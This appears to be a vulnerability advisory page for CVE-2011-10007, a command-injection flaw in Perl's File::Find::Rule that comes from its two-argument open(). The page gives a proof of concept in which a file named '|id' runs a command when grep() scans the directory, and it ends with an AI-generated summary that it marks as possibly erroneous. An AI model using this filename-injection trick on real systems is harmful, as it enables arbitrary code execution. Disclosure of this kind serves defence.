CVE-2011-10007

Status: DeferredHigh (8.8)—

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \     -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)

CVSS

Exploitation probability (EPSS)

EPSS (Exploit Prediction Scoring System, FIRST) estimates how likely a vulnerability is to be exploited in the wild within 30 days. It complements CVSS (impact) and CISA KEV (confirmed exploitation).

🎯 ATT&CK techniques

How this vulnerability is exploited and what the attacker gains, in MITRE ATT&CK terms.

Vector CVSS con UI:R (interacción del usuario requerida, abrir archivo crafted) ejecuta comandos arbitrarios a través de filename malicioso en open() de Perl. CWE-78 (OS Command Injection) confirma ejecución de código en el cliente (intérprete Perl).

Inferred by our analysis agent from the official description, CVSS vector and CWE, and checked by a supervisor. May contain errors.
